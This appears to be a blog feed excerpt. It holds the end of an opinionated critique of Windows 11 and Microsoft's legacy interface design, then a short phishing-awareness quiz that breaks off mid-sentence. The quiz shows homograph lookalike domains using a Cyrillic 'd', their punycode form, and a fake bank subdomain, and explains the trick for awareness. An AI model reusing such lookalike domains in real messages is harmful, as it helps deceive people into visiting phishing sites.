&lt;p>Against this backdrop, the integration of MS Teams into Windows 11 looks like an act of desperation aswell. A WebRTC Electron web application is artificially tied to a proprietary desktop operating system - how far can satire go? Meanwhile, this web application continues not to work without client software installation on non-Microsoft systems&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>More curiously, when web-based applications are more connected to Windows, Microsoft ties Windows more and more to its own Azure cloud. You see the dilemma? There is virtually no way around the Endpoint Manager&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup> in Windows-centric enterprise networks anymore. But they still keep pushing the platform hoping that consumers and IT decision-makers won&amp;rsquo;t get the bright idea that web applications can also work directly with cloud servers and don&amp;rsquo;t need a middleware called Windows. I am always banging my head - either make a web app that works everywhere or make a native client app customized for each platform. But please don&amp;rsquo;t make a web app that also requires an electron client web software.&lt;/p>
&lt;p>As IT senior, I have the right to write about the good old days. Back in those times when we waged browser wars&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup> and Microsoft deceived the world with the claim that Internet Explorer was tightly integrated with Windows. I&amp;rsquo;m sure in 2021 we&amp;rsquo;ll be much more ahead of the curve, aren&amp;rsquo;t we?&lt;/p>
&lt;p>Another act of desperation is the promise not to make any money on app sales in the Windows App Store.&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup> Is the desperation that great? What about the promise Windows 10 will be the last version of Windows? Dear Microsoft, if you really want to attract developers and apps to your stores, then finally stop trying to enhance your APIs and &amp;ldquo;design languages&amp;rdquo; every few years! Finally throw away the rotten Windows! Preferably get rid of your marketing and sales department as well!&lt;/p>
&lt;p>If anyone is wondering how I come to the conclusion that Windows 11 is an act of desperation and that Microsoft is sick on a declining branch, please have a look at the steadily decreasing or low market shares in desktop operating systems&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup>, in cloud and server computing&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup> and office applications&lt;sup id="fnref:23">&lt;a href="#fn:23" class="footnote-ref" role="doc-noteref">23&lt;/a>&lt;/sup>. Even in the gaming console market, Microsoft has been getting nowhere for decades&lt;sup id="fnref:24">&lt;a href="#fn:24" class="footnote-ref" role="doc-noteref">24&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>On all fronts, Microsoft is retreating or already rendered irrelevant. Technical innovations are popping up mostly outside the Microsoft bubble. But why is Microsoft still one of the most valuable companies? Well, on the one hand, it must be taken into account that it comes from virtually a 100% dominance in desktop operating systems. On the other hand, the Will Rogers phenomenon&lt;sup id="fnref:25">&lt;a href="#fn:25" class="footnote-ref" role="doc-noteref">25&lt;/a>&lt;/sup> helps big such companies with multiple business units and declining shares. The American humorist and entertainer once said:&lt;/p>
&lt;blockquote>
&lt;p>If the dumbest residents of Oklahoma move to California, the IQ in both states goes up.&lt;/p>
&lt;/blockquote>
&lt;p>Sounds funny and contradictory - the mathematics behind isn&amp;rsquo;t:&lt;/p>
&lt;p>The set O from the numbers 5,6,7,8,9 has the mean value 7&lt;br>
The set C of the numbers 1,2,3,4 has the mean value 2,5&lt;/p>
&lt;p>If the weakest number 5 from the set O moves to the set C, the mean value in C increases to 3 and in O to 7.5. By clever restructuring and averaging of important key figures, companies very often succeed in appearing in a better light than their real circumstances indicate. At least for a certain time as long as blackmailing OEM contracts are in place, lobbyists are working in the background and marketing departments can preserve an illusion.&lt;/p>
&lt;h2 id="about-the-windows-design-language">About the Windows &amp;ldquo;design language&amp;rdquo;&lt;/h2>
&lt;p>The fact that Microsoft dares to speak of a &amp;ldquo;design language&amp;rdquo; with all of its rubble landscape and explicitly wants to reach creative people with its Windows 11 is quite surprising. The following pictures speak for themselves and impressively document, why I don&amp;rsquo;t take Microsoft for serious anymore for 14 years.&lt;sup id="fnref:26">&lt;a href="#fn:26" class="footnote-ref" role="doc-noteref">26&lt;/a>&lt;/sup> All screenshots are taken from a current Windows 10 Enterprise.&lt;/p>
&lt;h3 id="windows-10-fluent-design">Windows 10 &amp;ldquo;Fluent Design&amp;rdquo;&lt;/h3>
&lt;p>Preferentially introduced in Windows and Office as well as various cross-platform applications starting in 2019: The &amp;ldquo;Fluent Design&amp;rdquo; design language:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-fluent.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-fluent.webp#c" alt="Screenshot Fluent Design 1" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-fluent3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-fluent3.webp#c" alt="Screenshot Fluent Design 3" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="windows-8-metro-design">Windows 8 &amp;ldquo;Metro Design&amp;rdquo;&lt;/h3>
&lt;p>Let&amp;rsquo;s move on to what is probably Microsoft&amp;rsquo;s biggest design blunder: the Metro Design of Windows 8, which is still present in many corners and edges today:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-metro.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-metro.webp#c" alt="Screenshot Metro Design 1" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-metro2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-metro2.webp#c" alt="Screenshot Metro Design 2" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-metro3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-metro3.webp#c" alt="Screenshot Metro Design 3" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="windows-8-win32-design">Windows 8 Win32 Design&lt;/h3>
&lt;p>Windows 8 also brought improvements to the &amp;ldquo;classic&amp;rdquo; desktop. The Task Manager but also the detailed views of the file copy dialogs are commendable:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-win8.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-win8.webp#c" alt="Screenshot Win8 Task-Manager" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-win82.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-win82.webp#c" alt="Screenshot Win8 Kopier-Dialog" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="windows-7">Windows 7&lt;/h3>
&lt;p>The ribbons known from Office are the achievements of Windows 7, but most people remember Windows 7 positively only due to the fact that it cleaned up the sins of its predecessor Vista.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-win7.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-win7.webp#c" alt="Screenshot Win7 Ribbons Paint" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-win72.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-win72.webp#c" alt="Screenshot Win7 Ribbons Wordpad" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="windows-vista">Windows Vista&lt;/h3>
&lt;p>The next misstep from Microsoft is Windows Vista. More than 14 years ago for me reason to jump off the Microsoft train and switch to Mac OS X and Linux. Unforgotten are the huge toolbars with their round navigation buttons, still visible today in the Windows Media Player or the Fax and Scan utility. Also the numerous &amp;ldquo;assistants&amp;rdquo; belong to the relics of Windows Vista.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-vista.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-vista.webp#c" alt="Screenshot Vista Fax- und Scan" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-vist2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-vist2.webp#c" alt="Screenshot Vista Media Player" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-vista3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-vista3.webp#c" alt="Screenshot Vista Assistent" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="windows-xp">Windows XP&lt;/h3>
&lt;p>Probably the longest-lived Windows in terms of years of service. The graphical elements of the Control Panel and especially the Windows Firewall, which entered the Windows world with XP Service Pack 3, have remained virtually unchanged. If you take a closer look in the control panel, you will still discover the possibility to create a &amp;ldquo;password reset disk&amp;rdquo;. The 3.5&amp;quot; drives should have disappeared from most PC systems long ago.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-xp.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-xp.webp#c" alt="Screenshot XP Firewall" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-xp2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-xp2.webp#c" alt="Screenshot XP Systemsteuerung" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-xp3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-xp3.webp#c" alt="Screenshot XP Kennwortrücksetzdiskette" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="windows-2000-design">Windows 2000 Design&lt;/h3>
&lt;p>We&amp;rsquo;re going to the granddaddy of all today&amp;rsquo;s Active Directory domains. Windows 2000 replaced the classic NT4 landscape. The management console MMC with its numerous snap-ins, which is still used today, was a major innovation though it first introduced to NT4 SP4. The Remote Desktop Client MSTSC was also new at that time and remained unchanged till today. Those who finds the Check Driver Tool, may enjoy the classical file open dialogs.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-2000.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-2000.webp#c" alt="Screenshot W2K MMC" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-20002.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-20002.webp#c" alt="Screenshot W2K MSTSC" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-20003.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-20003.webp#c" alt="Screenshot W2K Treiberüberprüfung" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-20004.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-20004.webp#c" alt="Screenshot W2K MMC" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="windows-98">Windows 98&lt;/h2>
&lt;p>Now it starts to get weird. With Windows 98 (actually already with Windows 95 B) the first USB devices came into the Windows world. Still recognizable today in the device management and printer driver integration. Everybody, who has to choose the right printer driver out of a list of hundreds from the non-scalable tiny window today is cursed till today because of untouched Windows UI since Windows 98.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-W98.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-W98.webp#c" alt="Screenshot W98 Druckereinbindung" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-W982.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-W982.webp#c" alt="Screenshot W98 Geräteverwaltung" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="windows-nt4-windows-95">Windows NT4/ Windows 95&lt;/h3>
&lt;p>The big brother of the Windows product line at that time was NT4, the technological predecessor of all current Windows versions. This shared a common user interface with the graphical DOS top Windows 95. Unchanged to this day are the screen saver settings, the Run dialog box, macro step recording, and the infamous .LNK file links. Even the .CHM help function from back then still lurks in every Windows to this day.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-NT4.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-NT4.webp#c" alt="Screenshot NT4 Screensaver" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-NT42.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-NT42.webp#c" alt="Screenshot NT4 Run" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-W953.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-W953.webp#c" alt="Screenshot Win95 Step-Recorder" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-W95.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-W95.webp#c" alt="Screenshot Win95 Help" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="windows-nt3-windows-3x">Windows NT3/ Windows 3.X&lt;/h3>
&lt;p>We are beyond the line of shame. It is hard to believe that code from Windows 3 can still be found in every modern Windows. Everyone who works with NOTEPAD.EXE text files inevitably comes into contact with it. Also the ODBC administration and some screen savers as well as the NT performance monitor originate from this time.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-win32.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-win32.webp#c" alt="Screenshot Win3 Notepad" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-win3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-win3.webp#c" alt="Screenshot Win3 Screensaver" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-NT3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-NT3.webp#c" alt="Screenshot Windows NT3 Performance Tool" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The cross the border between graphical and text oriented user interface with the system file MORICONS.DLL, where in every Windows until today still suitable icons for long ago no longer executable 8Bit and 16Bit DOS applications are kept.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-MSDOS.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-MSDOS.webp#c" alt="Screenshot DOS Icon-DLL-File" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="ms-dos-cpm">MS-DOS, CP/M&lt;/h3>
&lt;p>The horror show of Windows inconsistencies ends with a 50 year old limitation. To this day, it is impossible to create files named CON, COM1, or LPT1, which were output destinations for console, serial, and parallel ports in 1970s CP/M&lt;sup id="fnref:27">&lt;a href="#fn:27" class="footnote-ref" role="doc-noteref">27&lt;/a>&lt;/sup>. Microsoft adopted this &amp;ldquo;Quick and Dirty&amp;rdquo; concept along with the drive letters. Since MS-DOS in the early 1980s this concept remained unchanged. Or have you ever wonder why the first logical letter of every modern Windows starts with C: and not with A:? Try this to explain this weirdo logic.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-MSDOS2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-MSDOS2.webp#c" alt="Screenshot DOS Limitations" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Only when a system from Microsoft breaks with these inconsistencies and does not mount network drives with drive letters can it be called &amp;ldquo;new&amp;rdquo;.&lt;/p>
&lt;p>Fun Fact: After taking the many screenshots, I noticed that the task bar icons in a Windows 10 are already centered by the sprawling search bar. I&amp;rsquo;m curious to see how Microsoft will resolve the conflict of the large, colorful icons with the small mostly solid icons in the right tray area.&lt;/p>
&lt;p>With this in mind,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://blogs.windows.com/windows-insider/2015/01/21/the-next-generation-of-windows-windows-10/">https://blogs.windows.com/windows-insider/2015/01/21/the-next-generation-of-windows-windows-10/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://video.golem.de/mobil/25602/surface-duo-fazit.html">https://video.golem.de/mobil/25602/surface-duo-fazit.html&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://blogs.windows.com/windowsexperience/2021/05/18/how-to-get-the-windows-10-may-2021-update/">https://blogs.windows.com/windowsexperience/2021/05/18/how-to-get-the-windows-10-may-2021-update/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Zune">https://en.wikipedia.org/wiki/Zune&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Microsoft_Lumia">https://en.wikipedia.org/wiki/Microsoft_Lumia&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Satya_Nadella">https://en.wikipedia.org/wiki/Satya_Nadella&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://www.windowscentral.com/windows-10-reinvestment-10x-innovation">https://www.windowscentral.com/windows-10-reinvestment-10x-innovation&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://www.heise.de/news/Projekt-Sun-Valley-Microsofts-soll-groesseres-UI-Refresh-fuer-Windows-10-planen-5004725.html">https://www.heise.de/news/Projekt-Sun-Valley-Microsofts-soll-groesseres-UI-Refresh-fuer-Windows-10-planen-5004725.html&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://www.heise.de/news/Next-Generation-Windows-Microsofts-Verkuendungsplaene-und-was-schon-bekannt-ist-6062080.html">https://www.heise.de/news/Next-Generation-Windows-Microsofts-Verkuendungsplaene-und-was-schon-bekannt-ist-6062080.html&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://www.theverge.com/2019/12/5/20996748/microsoft-fluent-design-mobile-office-apps-new-updates-features">https://www.theverge.com/2019/12/5/20996748/microsoft-fluent-design-mobile-office-apps-new-updates-features&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://www.heise.de/news/Windows-10-Juni-Updates-verursachen-Druckerprobleme-4784191.html">https://www.heise.de/news/Windows-10-Juni-Updates-verursachen-Druckerprobleme-4784191.html&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://www.heise.de/news/Fehlerhaftes-Windows-Treiber-Update-sorgt-fuer-Bluescreens-bei-AMD-Systemen-6041409.html">https://www.heise.de/news/Fehlerhaftes-Windows-Treiber-Update-sorgt-fuer-Bluescreens-bei-AMD-Systemen-6041409.html&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://www.heise.de/news/Windows-10-Nutzer-melden-Probleme-mit-Updates-KB5001330-und-KB5001337-6022710.html">https://www.heise.de/news/Windows-10-Nutzer-melden-Probleme-mit-Updates-KB5001330-und-KB5001337-6022710.html&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://www.heise.de/news/Windows-10-Maerz-Updates-koennen-Bluescreens-beim-Drucken-verursachen-5076685.html">https://www.heise.de/news/Windows-10-Maerz-Updates-koennen-Bluescreens-beim-Drucken-verursachen-5076685.html&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://www.heise.de/news/Windows-10-Microsoft-behebt-Probleme-mit-chkdsk-nach-fehlerhaftem-Update-4997752.html">https://www.heise.de/news/Windows-10-Microsoft-behebt-Probleme-mit-chkdsk-nach-fehlerhaftem-Update-4997752.html&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://www.zdnet.com/article/microsoft-developer-reveals-linux-is-now-more-used-on-azure-than-windows-server/">https://www.zdnet.com/article/microsoft-developer-reveals-linux-is-now-more-used-on-azure-than-windows-server/&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20210202-msteams-luegen/">https://blog.jakobs.systems/blog/20210202-msteams-luegen/&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="https://www.microsoft.com/en-us/security/business/microsoft-endpoint-manager">https://www.microsoft.com/en-us/security/business/microsoft-endpoint-manager&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Browser_wars">https://en.wikipedia.org/wiki/Browser_wars&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://www.heise.de/meinung/Fuer-Entwickler-Kreative-Spieler-einfach-alle-Was-will-Windows-11-6118213.html">https://www.heise.de/meinung/Fuer-Entwickler-Kreative-Spieler-einfach-alle-Was-will-Windows-11-6118213.html&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>&lt;a href="https://de.statista.com/statistik/daten/studie/157902/umfrage/marktanteil-der-genutzten-betriebssysteme-weltweit-seit-2009/">https://de.statista.com/statistik/daten/studie/157902/umfrage/marktanteil-der-genutzten-betriebssysteme-weltweit-seit-2009/&lt;/a>&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>&lt;a href="https://de.statista.com/infografik/13675/cloud-basierter-it-dienstleistungen-nach-weltweitem-marktanteil/">https://de.statista.com/infografik/13675/cloud-basierter-it-dienstleistungen-nach-weltweitem-marktanteil/&lt;/a>&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:23">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20201103-microsoft-office/">https://blog.jakobs.systems/blog/20201103-microsoft-office/&lt;/a>&amp;#160;&lt;a href="#fnref:23" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:24">
&lt;p>&lt;a href="https://de.statista.com/statistik/daten/studie/160549/umfrage/anzahl-der-weltweit-verkauften-spielkonsolen-nach-konsolentypen/">https://de.statista.com/statistik/daten/studie/160549/umfrage/anzahl-der-weltweit-verkauften-spielkonsolen-nach-konsolentypen/&lt;/a>&amp;#160;&lt;a href="#fnref:24" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:25">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Will-Rogers-Ph%C3%A4nomen">https://de.wikipedia.org/wiki/Will-Rogers-Ph%C3%A4nomen&lt;/a>&amp;#160;&lt;a href="#fnref:25" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:26">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20210204-homeoffice2007/">https://blog.jakobs.systems/micro/20210204-homeoffice2007/&lt;/a>&amp;#160;&lt;a href="#fnref:26" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:27">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/CP/M">https://en.wikipedia.org/wiki/CP/M&lt;/a>&amp;#160;&lt;a href="#fnref:27" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Quiz for more best practice and awareness</title><link>https://blog.jakobs.systems/en/micro/20210618-best-practise/</link><pubDate>Fri, 18 Jun 2021 00:10:46 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210618-best-practise/</guid><description>Never click on links in mails, chats and documents</description><category>Hacking</category><category>Phishing</category><category>Awareness</category><content>&lt;p>A quizzle for the weekend: Which of the following domains is most likely a malicious one? Look closely!&lt;/p>
&lt;blockquote>
&lt;p>ԁeutsche-telekom.de&lt;br>
sparkasse-ԁarmstadt.de&lt;br>
cloud.sessionID.cf.373.tw/323.fra.commerzbank.de&lt;/p>
&lt;/blockquote>
&lt;p>Quite simple, some will say. Others claim they never fail to phishing mails or open unknown file attachments. This always happens to the others! Whoever knows such a person may pass this quiz to him or her.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>Even if the first two domains seem familiar, they do not lead to where you expect. The &amp;ldquo;d&amp;rdquo; in deutsche-telekom and sparkasse-darmstadt is a cyrillic &amp;ldquo;d&amp;rdquo; and hardly distinguishable from our latin one. Technically it is a completely different letter. A look into the source code reveals the difference:&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;amp;#1281;eutsche-telekom.de
&lt;/code>&lt;/pre>&lt;p>When inserted and opened in the web browser, the actual spelling in the DNS becomes clear:&lt;/p>
&lt;pre tabindex="0">&lt;code>xn--eutsche-telekom-dcp.de
&lt;/code>&lt;/pre>&lt;p>It maybe too late when discovered in the web browser - the page has been opened and a malware dropped. Therefore recommendations to copy links from e-mails to the clipboard and into the browser are misleading and not preventing this at all.&lt;/p>
&lt;p>The last domain, on the other hand, is a classic phishing domain. Registered with the TLD country code .tw somewhere in Taiwan, a domain of Commerzbank is feigned.&lt;/p>
&lt;p>All three domains are highly likely to be malicious and should not be visited. Would you have known that? And besides Cyrillic characters, there are a lot more characters in different languages. This leads us to the consequence and best practice:&lt;/p>
